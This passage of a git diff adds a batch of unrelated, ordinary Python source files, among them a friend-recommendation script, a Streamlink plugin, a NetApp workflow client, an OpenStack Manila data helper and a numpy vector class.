candidates_for_recommendation: + value = len( fb_graph.get_marked_vertex_neighbours(candidate) ) + recommendation.update(candidate, value) + + fb_graph.unmark_all() + return recommendation + + +def get_recommendations(fb_graph): + """Devuelve una lista con una recomendacion por cada contacto + del archivo""" + + contacts = fb_graph.get_all_vertex_ids() + + recommendations = [] + for contact in contacts: + recommendations.append( get_recommendation_for(contact, fb_graph) ) + + #TODO: borrar + return sorted(recommendations) + + +def show_recommendations(fb_graph): + """Funcion para presentar los resultados de las + recomendaciones por pantalla""" + + recommendations = get_recommendations(fb_graph) + + for recommendation in recommendations: + print '{0:<30s}'.format(fb_graph.get_vertex_data( recommendation.receiver )) + ": ", + if(recommendation.id is None): + print "no hay recomendaciones" + else: + print '{0:<30s}'.format(fb_graph.get_vertex_data( recommendation.id )), + if (recommendation.value == 1): + print "( 1 amigo en comun)" + else: + print "(" + "%4s" % str(recommendation.value) + " amigos en comun)" + +"""#EJEMPLO DE USO +show_recommendations(parse_file("./network.gdf"))""" \ No newline at end of file diff --git a/pool/shard008/Python/0078146_younow.py b/pool/shard008/Python/0078146_younow.py new file mode 100644 index 0000000000000000000000000000000000000000..075d67f5e0402b96292fadc9e508bd27eb4c4262 --- /dev/null +++ b/pool/shard008/Python/0078146_younow.py @@ -0,0 +1,86 @@ +import logging +import re + +from streamlink.exceptions import PluginError +from streamlink.plugin import Plugin +from streamlink.plugin.api import validate +from streamlink.stream import RTMPStream + +log = logging.getLogger(__name__) + + +class YouNow(Plugin): + + user_api_url = "https://api.younow.com/php/api/broadcast/info/curId=0/user={0}" + + _url_re = re.compile(r"https?://(?:\w+\.)?younow\.com/(?P[^/&?]+)") + + _user_schema = validate.Schema( + { + "errorCode": int, + "media": { + "host": validate.text, + "app": validate.text, + "stream": validate.text + }, + "title": validate.text, + "username": validate.text + } + ) + + _error_schema = validate.Schema( + { + "errorCode": int, + "errorMsg": validate.text + } + ) + + _api_schema = validate.Schema( + validate.any(_user_schema, _error_schema) + ) + + author = None + title = None + + @classmethod + def can_handle_url(cls, url): + return cls._url_re.match(url) is not None + + def get_author(self): + if self.author is None: + self.get_api_data() + return self.author + + def get_title(self): + if self.title is None: + self.get_api_data() + return self.title + + def get_api_data(self): + match = self._url_re.match(self.url) + channel = match.group("channel") + + res = self.session.http.get(self.user_api_url.format(channel)) + data = self.session.http.json(res, schema=self._api_schema) + log.trace("{0!r}".format(data)) + + if data["errorCode"] != 0: + raise PluginError("{0} - {1}".format(data["errorCode"], data["errorMsg"])) + + self.author = data["username"] + self.title = data["title"] + + return data + + def _get_streams(self): + data = self.get_api_data() + params = { + "rtmp": "rtmp://{0}{1}/{2}".format(data["media"]["host"], + data["media"]["app"], + data["media"]["stream"]), + "live": True + } + return {"live": RTMPStream(self.session, params=params)} + + +__plugin__ = YouNow diff --git a/pool/shard008/Python/0078148_driver_common.py b/pool/shard008/Python/0078148_driver_common.py new file mode 100644 index 0000000000000000000000000000000000000000..92f89b754300be2722bc390cfbf22d0901ba09d3 --- /dev/null +++ b/pool/shard008/Python/0078148_driver_common.py @@ -0,0 +1,39 @@ +## +# OOIPLACEHOLDER +# +# Copyright 2014 Raytheon Co. +## + +from mi.core.log import get_logger +from mi.dataset.dataset_driver import DataSetDriver + +from mi.dataset.parser.rte_o_dcl import RteODclParser + +__author__ = "jpadula" + + +class RteODclDriver: + + def __init__(self, sourceFilePath, particleDataHdlrObj, parser_config): + + self._sourceFilePath = sourceFilePath + self._particleDataHdlrObj = particleDataHdlrObj + self._parser_config = parser_config + + def process(self): + + log = get_logger() + + with open(self._sourceFilePath, "rb") as file_handle: + + def exception_callback(exception): + log.debug("Exception: %s", exception) + self._particleDataHdlrObj.setParticleDataCaptureFailure() + + parser = RteODclParser(self._parser_config, file_handle, exception_callback) + + driver = DataSetDriver(parser, self._particleDataHdlrObj) + + driver.processFileStream() + + return self._particleDataHdlrObj diff --git a/pool/shard008/Python/0078157_init__.py b/pool/shard008/Python/0078157_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..0dae2705da092c800fcd741d35d12e2618b58606 --- /dev/null +++ b/pool/shard008/Python/0078157_init__.py @@ -0,0 +1,68 @@ +import sys +import subprocess +from path import path + + +def set_up_virtualenv_and_requirements(airship, bucket, **extra): + from airship.deployer import DeployError + requirements_file = bucket.folder / 'requirements.txt' + if requirements_file.isfile(): + config = airship.config.get('python', {}) + index_dir = config['dist'] + venv = bucket.folder / '_virtualenv' + pip = venv / 'bin' / 'pip' + virtualenv_py = airship.home_path / 'dist' / 'virtualenv.py' + python = config.get('interpreter', 'python') + + try: + subprocess.check_call([python, virtualenv_py, venv, + '--distribute', '--never-download', + '--extra-search-dir=' + index_dir]) + except subprocess.CalledProcessError: + raise DeployError(bucket, "Failed to create a virtualenv.") + + try: + subprocess.check_call([pip, 'install', 'wheel', '--no-index', + '--find-links=file://' + index_dir]) + except subprocess.CalledProcessError: + raise DeployError(bucket, "Failed to install wheel.") + + try: + subprocess.check_call([pip, 'install', '-r', requirements_file, + '--use-wheel', '--no-index', + '--find-links=file://' + index_dir]) + except subprocess.CalledProcessError: + raise DeployError(bucket, "Failed to install requirements.") + + +def activate_virtualenv(airship, bucket, environ, **extra): + venv = bucket.folder / '_virtualenv' + if venv.isdir(): + environ['PATH'] = ((venv / 'bin') + ':' + environ['PATH']) + + +def load(airship): + from airship.deployer import bucket_setup + from airship.core import bucket_run + bucket_setup.connect(set_up_virtualenv_and_requirements, airship) + bucket_run.connect(activate_virtualenv, airship) + + +def do_wheel(airship, args): + config = airship.config.get('python', {}) + index_dir = config['dist'] + argv = [path(sys.prefix) / 'bin' / 'pip', + 'wheel', + '--no-deps', + '-w', index_dir] + subprocess.check_call(argv + args.wheel_argv) + + +from airship.core import define_arguments + + +@define_arguments.connect +def register_wheel_subcommand(sender, create_command): + import argparse + wheel_cmd = create_command('wheel', do_wheel) + wheel_cmd.add_argument('wheel_argv', nargs=argparse.REMAINDER) diff --git a/pool/shard008/Python/0078158_sale.py b/pool/shard008/Python/0078158_sale.py new file mode 100644 index 0000000000000000000000000000000000000000..6d45fa620ffa5bab1625a56e654bde431c45b291 --- /dev/null +++ b/pool/shard008/Python/0078158_sale.py @@ -0,0 +1,18 @@ +# -*- coding: utf-8 -*- +from openerp.osv import fields, osv + +class sale_order(osv.osv): + _name = "sale.order" + _inherit = "sale.order" + + def onchange_payment_term(self, cr, uid, ids, payment_term_id, context=None): + v = {} + if payment_term_id: + payment_term = self.pool.get('account.payment.term').browse(cr, uid, payment_term_id, context=context) + if payment_term and payment_term.pricelist_id and payment_term.pricelist_id.id: + v['pricelist_id'] = payment_term.pricelist_id.id + return {'value': v} + +sale_order() + +# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: diff --git a/pool/shard008/Python/0078159_user.py b/pool/shard008/Python/0078159_user.py new file mode 100644 index 0000000000000000000000000000000000000000..08718a2bd0fca857bcb77b931d7d8b2478740ad1 --- /dev/null +++ b/pool/shard008/Python/0078159_user.py @@ -0,0 +1,14 @@ +from webargs import fields + + +login_fields = { + 'identifier': fields.Str(required=True), + 'password': fields.Str(required=True), +} + + +user_creation_fields = { + 'nickname': fields.Str(required=True), + 'email': fields.Email(required=True), + 'password': fields.Str(required=True), +} diff --git a/pool/shard008/Python/0078164_service.py b/pool/shard008/Python/0078164_service.py new file mode 100644 index 0000000000000000000000000000000000000000..56d04a010ac458de879b061fe7e92f27ffaaef6b --- /dev/null +++ b/pool/shard008/Python/0078164_service.py @@ -0,0 +1,151 @@ +# basic connection / api endpoint setup +# this should never be used, when programming against the library + +from netapp.wfa.endpoint import Endpoint +from requests import HTTPError + +class WorkflowError(Exception): + pass + + +class WorkflowService(Endpoint): + """execute and control / query / workflows, watch status during execution""" + def __init__(self): + super(WorkflowService, self).__init__(uri='/rest/workflows') + return + + #FIXME bug in WFA api? this only works with exact matches + def find(self, name=None, categories=None): + + #ensure categories is a list + if not isinstance(categories, (list, tuple)): + categories = list(categories) + + """search for workflows matching 'name'""" + params = dict() + params['name'] = name + params['categories'] = categories + return self.http_get(params=params) + + def workflow_by_uuid(self, uuid): + """load workflow directly via its uuid, when not selecting it from the list or search result""" + # https://10.60.64.210/rest/workflows/81a45bc6-70bb-4193-86bd-b840a8e7e6bc + return self.http_get(url=self._endpoint + '/rest/workflows/%s' % uuid) + + def job_by_id(self, workflow_uuid, job_id): + return self.http_get(url=self._endpoint + '/rest/workflows/%s/jobs/%s' % (workflow_uuid, job_id)) + + def list(self): + """list all available workflows""" + return self.http_get() + + def preview(self, workflow, input): + """dry run a workflow, result will show return values""" + res = None + try: + res = self.http_post(input, workflow.links['preview']) + except HTTPError as he: + print("body: %s" % he.response.text) + + # if all is good, returns a list of output parameters (or empty list) + return res + + def execute(self, workflow, input): + """start/launch a workflow with given inputs""" + return self.http_post(input, url=workflow.links['execute']) + + def cancel(self, job): + """cancel a running workflow job""" + return self.http_post(job, url=job.links['cancel']) + + def add(self, job): + """ to create job, is it redo? """ + return self.http_post(job, url=job.links['add']) + + def outputs(self, job): + """get the outputs of a workflow execution""" + return self.http_get(url=job.links['out']) + + def update(self, job, wait=False): + """get updated job status, + @:param wait=True will wait for job to terminate (but: no logpolling support yet)""" + params = None + if wait: + params = {'waitinterval': 0} + return self.http_get(url=job.links['self'], params=params) + + def resume(self, job): + """continue a workflow execution that was previously halted / stopped""" + return self.http_post(job, url=job.links['resume']) + + def cleanup(self, job): + """DELETE resources from failed job executions""" + return self.http_delete(job.links['reservation']) + + +class FilterService(Endpoint): + """ retrieve and text/execute filters""" + def __init__(self): + super(FilterService, self).__init__(uri='/rest/filters') + + return + + def list(self, dictionary=None): + """get list of available filter, or select list for filters in dictionary + dictionary is the type of result value, examples: + cm_storage.aggregate + cm_storage.volume + @:parameter dictionary String that filter should belong to, to be in result list""" + params = None + if dictionary: + params = {'dictionary': dictionary} + + return self.http_get(params=params) + + def filter_by_id(self, id): + """load a filter by its unique id""" + return self.http_get(self.url + '/' + id) + + def test_filter(self, filter, **params): + """execute filter and get result list""" + return self.http_get(filter.links['test'], params=params) + + def test_filter_no_reservation(self, filter, **params): + """get filter results while ignoring reservations/reserved resources""" + return self.http_get(filter.links['test'], params=params) + pass + + +class FinderService(Endpoint): + """ retrieve and text/execute finders (combinations of filters)""" + def __init__(self): + super(FinderService, self).__init__(uri='/rest/finders') + + return + + def list(self, dictionary=None): + """get list of available _finders_, or select list for filters in dictionary + dictionary is the type of result value, examples: + cm_storage.aggregate + cm_storage.volume + @:parameter dictionary String that filter should belong to, to be in result list""" + params = None + if dictionary: + params = {'dictionary': dictionary} + + return self.http_get(params=params) + + def finder_by_id(self, id): + """load a finder by its unique id""" + return self.http_get(self.url + '/' + id) + + def test_finder(self, finder, **params): + """execute finder and get result list""" + return self.http_get(finder.links['test'], params=params) + + def test_finder_no_reservation(self, finder, **params): + """get finder results while ignoring reservations/reserved resources""" + return self.http_get(finder.links['test'], params=params) + + + diff --git a/pool/shard008/Python/0078170_page_through_all_collections.py b/pool/shard008/Python/0078170_page_through_all_collections.py new file mode 100644 index 0000000000000000000000000000000000000000..2580ef27d5cd01c6454dfa79f12aa54a18ee290f --- /dev/null +++ b/pool/shard008/Python/0078170_page_through_all_collections.py @@ -0,0 +1,166 @@ +# Copyright 2010 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import os +import sys +import traceback +import getopt + +# +# Load Buzz library (if available...) +# + +try: + sys.path.append(os.path.join(os.path.dirname(__file__), '..')) + import buzz +except ImportError: + print 'Error importing Buzz library!!!' + +print '-' * 80 +print __doc__ +print '-' * 80 + +token = verification_code = buzz_client = '' + +# +# Function to obtain login data +# + +def GetLoginData(): + 'Obtains login information from either the command line or by querying the user' + + global token, verification_code, buzz_client + key = secret = '' + + # Check first if anything is specified in the command line + + if len(sys.argv[1:]): + try: + (opts, args) = getopt.getopt(sys.argv[1:], 'k:s:v:', ['key','secret', 'vercode']) + if (len(args)): raise getopt.GetoptError('bad parameter') + + except getopt.GetoptError: + print ''' +Usage: %s <-t access token> <-a verification_code> + +-k (--key): OPTIONAL, previously obtained access token key +-s (--secret): OPTIONAL, previously obtained access token secret + +Exiting... + ''' % (sys.argv[0]) + sys.exit(0) + + for (opt, arg) in opts: + if opt in ('-k', '--key'): + key = arg + elif opt in ('-s', '--secret'): + secret = arg + + # Query the user for data otherwise - we need key and secret for our OAuth request token. + + if ((key == '') or (secret == '')): + token = buzz_client.fetch_oauth_request_token ('oob') + token = buzz_client.oauth_request_token + + print ''' +Please access the following URL to confirm access to Google Buzz: + +%s + +Once you're done enter the verification code to continue: ''' % (buzz_client.build_oauth_authorization_url(token)), + + verification_code = raw_input().strip() + buzz_client.fetch_oauth_access_token (verification_code, token) + else: + buzz_client.build_oauth_access_token(key, secret) + + # Do we have a valid OAUth access token? + + if (buzz_client.oauth_token_info().find('Invalid AuthSub signature') != (-1)): + print 'Access token is invalid!!!' + sys.exit(0) + else: + print """ +Your access token key is \'%s\', secret is \'%s\' +Keep this data handy in case you want to reuse the session later! +""" % (buzz_client.oauth_access_token.key, buzz_client.oauth_access_token.secret) + +def print_comment(comment): + print """ +Comment ID: %s +Published: %s +Updated: %s +""" % (comment.id, comment.published, comment.updated) + +def print_post(post): + print """Post Link: %s""" % (post.link.uri) + +def print_person(person): + print """Person ID: %s""" % (person.id) +# +# Main program starts here +# + +try: + buzz_client = buzz.Client() + buzz_client.oauth_scopes=[buzz.FULL_ACCESS_SCOPE] + buzz_client.use_anonymous_oauth_consumer() + + # Search doesn't need any credentials. If this fails there's no point trying the rest. + for count,data in enumerate(buzz_client.search('open.spotify.com')): + print '(%s)' % (count+1), + print_post(data) + + GetLoginData() + + print 'googlebuzz is following' + for count, data in enumerate(buzz_client.following('googlebuzz')): + print '(%s)' % (count+1), + print_person(data) + + print 'sami.shalabi has these followers' + for count, data in enumerate(buzz_client.followers('sami.shalabi')): + print '(%s)' % (count+1), + print_person(data) + + print 'adewale has commented on these posts' + for count, data in enumerate(buzz_client.commented_posts('adewale')): + print '(%s)' % (count+1), + print_post(data) + + print 'This post had the following comments' + for count, data in enumerate(buzz_client.comments('tag:google.com,2010:buzz:z13gyftqiobxxv1l122wepbj3oqndvhm5')): + print '(%s)' % (count+1), + print_comment(data) + + print 'adewale has liked these posts' + for count, data in enumerate(buzz_client.liked_posts('adewale')): + print '(%s)' % (count+1), + print_post(data) + + print 'This post had the following likers' + for count, data in enumerate(buzz_client.likers('tag:google.com,2010:buzz:z12gybujdnrxufdwu04cdjyb3mjeulcwv3c')): + print '(%s)' % (count+1), + print_person(data) + + print 'adewale has made the following posts' + for count, data in enumerate(buzz_client.posts(user_id='adewale')): + print '(%s)' % (count+1), + print_post(data) + +except: + print '\nBzzzz! Something broke!!!' + print '-' * 50 + traceback.print_exc() + print '-' * 50 diff --git a/pool/shard008/Python/0078171_userinfo.py b/pool/shard008/Python/0078171_userinfo.py new file mode 100644 index 0000000000000000000000000000000000000000..316a4de300f6a517c36b0d79b244dfb26ea7d53a --- /dev/null +++ b/pool/shard008/Python/0078171_userinfo.py @@ -0,0 +1,30 @@ +class Onlineweb4Userinfo(object): + """ Generate userinfo for onlineweb4 claim. """ + + oidc_fields = [ + 'member', 'staff', 'superuser', 'rfid', 'field_of_study', + ] + + def __init__(self, user): + self.userinfo = { + 'username': user.username, + 'member': user.is_member, + 'staff': user.is_staff, + 'superuser': user.is_superuser, + 'rfid': user.rfid, + 'field_of_study': user.get_field_of_study_display(), + 'first_name': user.first_name, + 'last_name': user.last_name, + 'email': user.get_email().email, + 'nickname': user.nickname, + 'image': user.get_image_url(), + } + + def oauth2(self): + return self.userinfo + + def oidc(self): + d = {} + for key in self.oidc_fields: + d[key] = self.userinfo[key] + return d diff --git a/pool/shard008/Python/0078173_helper.py b/pool/shard008/Python/0078173_helper.py new file mode 100644 index 0000000000000000000000000000000000000000..d7a9a3d21b08124881cbc79600b14c70d19510be --- /dev/null +++ b/pool/shard008/Python/0078173_helper.py @@ -0,0 +1,261 @@ +# Copyright (c) 2015 Hitachi Data Systems. +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +"""Helper class for Data Service operations.""" + +import os + +from oslo_config import cfg +from oslo_log import log + +from manila.common import constants +from manila import exception +from manila.i18n import _, _LW +from manila.share import rpcapi as share_rpc +from manila import utils + +LOG = log.getLogger(__name__) + +data_helper_opts = [ + cfg.IntOpt( + 'data_access_wait_access_rules_timeout', + default=180, + help="Time to wait for access rules to be allowed/denied on backends " + "when migrating a share (seconds)."), + cfg.StrOpt( + 'data_node_access_ip', + help="The IP of the node interface connected to the admin network. " + "Used for allowing access to the mounting shares."), + cfg.StrOpt( + 'data_node_access_cert', + help="The certificate installed in the data node in order to " + "allow access to certificate authentication-based shares."), + cfg.StrOpt( + 'data_node_access_admin_user', + help="The admin user name registered in the security service in order " + "to allow access to user authentication-based shares."), + cfg.DictOpt( + 'data_node_mount_options', + default={}, + help="Mount options to be included in the mount command for share " + "protocols. Use dictionary format, example: " + "{'nfs': '-o nfsvers=3', 'cifs': '-o user=foo,pass=bar'}"), + +] + +CONF = cfg.CONF +CONF.register_opts(data_helper_opts) + + +class DataServiceHelper(object): + + def __init__(self, context, db, share): + + self.db = db + self.share = share + self.context = context + self.share_rpc = share_rpc.ShareAPI() + self.wait_access_rules_timeout = ( + CONF.data_access_wait_access_rules_timeout) + + def deny_access_to_data_service(self, access_ref_list, share_instance): + + for access_ref in access_ref_list: + self._change_data_access_to_instance( + share_instance, access_ref, allow=False) + + # NOTE(ganso): Cleanup methods do not throw exceptions, since the + # exceptions that should be thrown are the ones that call the cleanup + + def cleanup_data_access(self, access_ref_list, share_instance_id): + + try: + self.deny_access_to_data_service( + access_ref_list, share_instance_id) + except Exception: + LOG.warning(_LW("Could not cleanup access rule of share %s."), + self.share['id']) + + def cleanup_temp_folder(self, instance_id, mount_path): + + try: + path = os.path.join(mount_path, instance_id) + if os.path.exists(path): + os.rmdir(path) + self._check_dir_not_exists(path) + except Exception: + LOG.warning(_LW("Could not cleanup instance %(instance_id)s " + "temporary folders for data copy of " + "share %(share_id)s."), { + 'instance_id': instance_id, + 'share_id': self.share['id']}) + + def cleanup_unmount_temp_folder(self, unmount_template, mount_path, + share_instance_id): + + try: + self.unmount_share_instance(unmount_template, mount_path, + share_instance_id) + except Exception: + LOG.warning(_LW("Could not unmount folder of instance" + " %(instance_id)s for data copy of " + "share %(share_id)s."), { + 'instance_id': share_instance_id, + 'share_id': self.share['id']}) + + def _change_data_access_to_instance( + self, instance, access_ref, allow=False): + + self.db.share_instance_update_access_status( + self.context, instance['id'], constants.STATUS_OUT_OF_SYNC) + + if allow: + self.share_rpc.allow_access(self.context, instance, access_ref) + else: + self.share_rpc.deny_access(self.context, instance, access_ref) + + utils.wait_for_access_update( + self.context, self.db, instance, self.wait_access_rules_timeout) + + def allow_access_to_data_service( + self, share_instance, connection_info_src, + dest_share_instance=None, connection_info_dest=None): + + allow_access_to_destination_instance = (dest_share_instance and + connection_info_dest) + + # NOTE(ganso): intersect the access type compatible with both instances + if allow_access_to_destination_instance: + access_mapping = {} + for a_type, protocols in ( + connection_info_src['access_mapping'].items()): + for proto in protocols: + if (a_type in connection_info_dest['access_mapping'] and + proto in + connection_info_dest['access_mapping'][a_type]): + access_mapping[a_type] = access_mapping.get(a_type, []) + access_mapping[a_type].append(proto) + else: + access_mapping = connection_info_src['access_mapping'] + + access_list = self._get_access_entries_according_to_mapping( + access_mapping) + access_ref_list = [] + + for access in access_list: + + values = { + 'share_id': self.share['id'], + 'access_type': access['access_type'], + 'access_level': access['access_level'], + 'access_to': access['access_to'], + } + + old_access_list = self.db.share_access_get_all_by_type_and_access( + self.context, self.share['id'], access['access_type'], + access['access_to']) + + for old_access in old_access_list: + self._change_data_access_to_instance( + share_instance, old_access, allow=False) + + access_ref = self.db.share_instance_access_create( + self.context, values, share_instance['id']) + self._change_data_access_to_instance( + share_instance, access_ref, allow=True) + + if allow_access_to_destination_instance: + access_ref = self.db.share_instance_access_create( + self.context, values, dest_share_instance['id']) + self._change_data_access_to_instance( + dest_share_instance, access_ref, allow=True) + + access_ref_list.append(access_ref) + + return access_ref_list + + def _get_access_entries_according_to_mapping(self, access_mapping): + + access_list = [] + + for access_type, protocols in access_mapping.items(): + if access_type.lower() == 'cert': + access_to = CONF.data_node_access_cert + elif access_type.lower() == 'ip': + access_to = CONF.data_node_access_ip + elif access_type.lower() == 'user': + access_to = CONF.data_node_access_admin_user + else: + msg = _("Unsupported access type provided: %s.") % access_type + raise exception.ShareDataCopyFailed(reason=msg) + if not access_to: + msg = _("Configuration for Data node mounting access type %s " + "has not been set.") % access_type + raise exception.ShareDataCopyFailed(reason=msg) + + access = { + 'access_type': access_type, + 'access_level': constants.ACCESS_LEVEL_RW, + 'access_to': access_to, + } + access_list.append(access) + + return access_list + + @utils.retry(exception.NotFound, 0.1, 10, 0.1) + def _check_dir_exists(self, path): + if not os.path.exists(path): + raise exception.NotFound("Folder %s could not be found." % path) + + @utils.retry(exception.Found, 0.1, 10, 0.1) + def _check_dir_not_exists(self, path): + if os.path.exists(path): + raise exception.Found("Folder %s was found." % path) + + def mount_share_instance(self, mount_template, mount_path, + share_instance): + + path = os.path.join(mount_path, share_instance['id']) + + options = CONF.data_node_mount_options + options = {k.lower(): v for k, v in options.items()} + proto_options = options.get(share_instance['share_proto'].lower()) + + if not proto_options: + proto_options = '' + + if not os.path.exists(path): + os.makedirs(path) + self._check_dir_exists(path) + + mount_command = mount_template % {'path': path, + 'options': proto_options} + + utils.execute(*(mount_command.split()), run_as_root=True) + + def unmount_share_instance(self, unmount_template, mount_path, + share_instance_id): + + path = os.path.join(mount_path, share_instance_id) + + unmount_command = unmount_template % {'path': path} + + utils.execute(*(unmount_command.split()), run_as_root=True) + + try: + if os.path.exists(path): + os.rmdir(path) + self._check_dir_not_exists(path) + except Exception: + LOG.warning(_LW("Folder %s could not be removed."), path) diff --git a/pool/shard008/Python/0078174_zypp_plugin.py b/pool/shard008/Python/0078174_zypp_plugin.py new file mode 100644 index 0000000000000000000000000000000000000000..45e6d79c285daeac8f63195fbe15c5284fe20d02 --- /dev/null +++ b/pool/shard008/Python/0078174_zypp_plugin.py @@ -0,0 +1,65 @@ +""" +Related to zypp_plugins_test.py module. +""" + + +class Plugin: + """ + Bogus module for Zypp Plugins tests. + """ + + def ack(self): + """ + Acknowledge that the plugin had finished the transaction + Returns: + + """ + + def main(self): + """ + Register plugin + Returns: + + """ + + +class BogusIO: + """ + Read/write logger. + """ + + def __init__(self): + self.content = list() + self.closed = False + + def __str__(self): + return "\n".join(self.content) + + def __call__(self, *args, **kwargs): + self.path, self.mode = args + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + self.close() + + def __enter__(self): + return self + + def write(self, data): + """ + Simulate writing data + Args: + data: + + Returns: + + """ + self.content.append(data) + + def close(self): + """ + Simulate closing the IO object. + Returns: + + """ + self.closed = True diff --git a/pool/shard008/Python/0078181_vector.py b/pool/shard008/Python/0078181_vector.py new file mode 100644 index 0000000000000000000000000000000000000000..b02e9de15d056e8e797a5af6875bab41c58f0b1f --- /dev/null +++ b/pool/shard008/Python/0078181_vector.py @@ -0,0 +1,99 @@ + + +#Vector class +#Author - Ian Johnson | enjalot@gmail.com +#http://docs.scipy.org/doc/numpy/user/basics.subclassing.html#slightly-more-realistic-example-attribute-added-to-existing-array + +import numpy as np +import math + +class Vec(np.ndarray): + props = ['x', 'y', 'z', 'w'] + + def __new__(cls, input_array): + # Input array is an already formed ndarray instance + # We first cast to be our class type + obj = np.asarray(input_array).view(cls) + # add the new attribute to the created instance + if len(obj) < 2 or len(obj) > 4: + #not a 2,3 or 4 element vector! + return None + return obj + + def __array_finalize__(self, obj): + #this gets called after object creation by numpy.ndarray + #print "array finalize", obj + if obj is None: return + #we set x, y etc properties by iterating through ndarray + for i in range(len(obj)): + setattr(self, Vec.props[i], obj[i]) + + def __array_wrap__(self, out_arr, context=None): + #this gets called after numpy functions are called on the array + #out_arr is the output (resulting) array + for i in range(len(out_arr)): + setattr(out_arr, Vec.props[i], out_arr[i]) + return np.ndarray.__array_wrap__(self, out_arr, context) + + def __repr__(self): + desc="""Vec2(data=%(data)s,""" # x=%(x)s, y=%(y)s)""" + for i in range(len(self)): + desc += " %s=%s," % (Vec.props[i], getattr(self, Vec.props[i])) + desc = desc[:-1] #cut off last comma + return desc % {'data': str(self) } + + + def __setitem__(self, ind, val): + #print "SETITEM", self.shape, ind, val + if self.shape == (): #dirty hack for dot product + return + self.__dict__[Vec.props[ind]] = val + return np.ndarray.__setitem__(self, ind, val) + + def __setattr__(self, item, val): + self[Vec.props.index(item)] = val + + + ### + #math utilities + ### + +def normalize(u): + return u / (math.sqrt(np.dot(u, u))) + + +if __name__ == "__main__": + v1 = Vec(np.arange(2)) + v2 = Vec(np.arange(2)) + print("v1:", repr(v1)) + print("v2:", repr(v2)) + v3 = v1 + v2 + print("v3:", repr(v3)) + v1[0] = 5 + print("v1.x, v1[0]:", v1.x, v1[0]) + v1.y = 6 + print("v1.y, v1[1]:", v1.y, v1[1]) + print("v1:", repr(v1)) + + print("=====================") + print("v1.shape", v1.shape) + print("multiply(v1,v1):", np.multiply(v1,v1)) + print("dot(v1,v1):", np.dot(v1, v1)) + + print("3D ================") + va = Vec([0,0,0]) + print("va: ", repr(va)) + va.x = 2 + va.y = 9 + va.z = 5 + print("va: ", repr(va)) + vb = Vec([1,1,1]) + vc = va + vb + print("v3: ", repr(vc)) + print("dot(va, vb):", np.dot(va, vb)) + + + + + + diff --git a/pool/shard008/Python/0078188_StartProcessAction.py b/pool/shard008/Python/0078188_StartProcessAction.py new file mode 100644 index 0000000000000000000000000000000000000000..17916c0edf4519d74e439bbafcc64ce435b5c743 --- /dev/null +++ b/pool/shard008/Python/0078188_StartProcessAction.py @@ -0,0 +1,31 @@ +import LingerActions.LingerBaseAction as lingerActions + +class StartProcessAction(lingerActions.LingerBaseAction): + """Logging that there was a change in a file""" + def __init__(self, configuration): + super(StartProcessAction, self).__init__(configuration) + + # Fields + self.process_adapter = self.configuration['process_adapter'] + + def get_process_adapter(self): + return self.get_adapter_by_uuid(self.process_adapter) + + def act(self, configuration): + self.get_process_adapter().start_process() + +class StartProcessActionFactory(lingerActions.LingerBaseActionFactory): + """StartProcessActionFactory generates StartProcessAction instances""" + def __init__(self): + super(StartProcessActionFactory, self).__init__() + self.item = StartProcessAction + + def get_instance_name(self): + return "StartProcessAction" + + def get_fields(self): + fields, optional_fields = super(StartProcessActionFactory, self).get_fields() + + fields += [('process_adapter','uuid')] + + return (fields, optional_fields) diff --git a/pool/shard008/Python/0078190_texture_tab_wdg.py b/pool/shard008/Python/0078190_texture_tab_wdg.py new file mode 100644 index 0000000000000000000000000000000000000000..007f8fe0aa701df8cb0659c21559ad424d7ed463 --- /dev/null +++ b/pool/shard008/Python/0078190_texture_tab_wdg.py @@ -0,0 +1,119 @@ +########################################################### +# +# Copyright (c) 2005, Southpaw Technology +# All Rights Reserved +# +# PROPRIETARY INFORMATION. This software is proprietary to +# Southpaw Technology, and is not to be reproduced, transmitted, +# or disclosed in any way without written permission. +# +# +# + +__all__ = ["TextureTabWdg"] + +from pyasm.web import * +from pyasm.widget import * +from pyasm.prod.web import * +from pyasm.widget import FilterSelectWdg +from pyasm.prod.web import TextureFilterWdg + + + +class TextureTabWdg(BaseTabWdg): + + def init(my): + my.setup_tab("texture_pipeline_tab", css=TabWdg.SMALL) + + + def handle_tab(my, tab): + + tab.add(my.get_texture_list_wdg, _("Texture List") ) + #tab.add(my.get_texture_list_wdg, _("Matte Painting") ) + tab.add(my.get_summary_wdg, _("Summary") ) + tab.add(my.get_task_manager_wdg, _("Tasks") ) + tab.add(my.get_texture_wdg, _("Artist (Textures)") ) + tab.add(my.get_source_wdg, _("Texture Sources") ) + + + def get_texture_list_wdg(my): + + widget = Widget() + nav = DivWdg(css='filter_box') + filter = TextureFilterWdg() + nav.add(filter) + widget.add(nav) + + search = Search("prod/texture") + widget.set_search(search) + table = TableWdg("prod/texture", "manage") + widget.add(table) + + return widget + + + + def get_summary_wdg(my): + + widget = Widget() + widget.add(HelpItemWdg('Summary tab', '/doc/site/prod/summary_tab.html')) + + nav = DivWdg(css='filter_box') + filter = TextureFilterWdg() + nav.add(filter) + widget.add(nav) + + search = Search("prod/texture") + widget.set_search(search) + + table = TableWdg("prod/texture", "summary") + widget.add(table) + + return widget + + + def get_task_manager_wdg(my): + widget = Widget() + widget.add(HelpItemWdg('Tasks tab', '/doc/site/prod/task_tab.html')) + manager = TaskManagerWdg() + widget.add(manager) + manager.set_search_type("prod/texture") + #manager.set_sobject_filter( AssetFilterWdg() ) + return widget + + + + def get_texture_wdg(my): + + widget = Widget() + + approval_wdg = ApprovalManagerWdg() + widget.add(approval_wdg) + approval_wdg.set_search_type("prod/texture") + approval_wdg.set_view("artist") + approval_wdg.set_sobject_filter( TextureFilterWdg() ) + return widget + + + + + def get_source_wdg(my): + + search = Search(TextureSource.SEARCH_TYPE) 